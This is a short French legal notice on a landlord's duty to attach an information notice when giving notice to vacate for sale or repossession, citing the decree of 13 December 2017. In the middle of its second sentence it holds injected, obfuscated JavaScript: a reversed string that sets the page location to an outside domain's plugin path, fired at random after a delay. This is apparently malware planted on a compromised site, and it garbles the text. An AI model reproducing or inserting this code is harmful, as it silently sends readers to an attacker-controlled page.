Obligation de joindre une Notice d’information au congé pour vendre ou en cas de reprise
Depuis le 1er janvier 2018, le bailleur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit joindre une notice d’information à son congé pour vente ou pour reprise. Le contenu de cette notice est précisé dans l’annexe de l’arrêté du 13 décembre 2017.
JORF n°0296 du 20 décembre 2017 texte n° 19)
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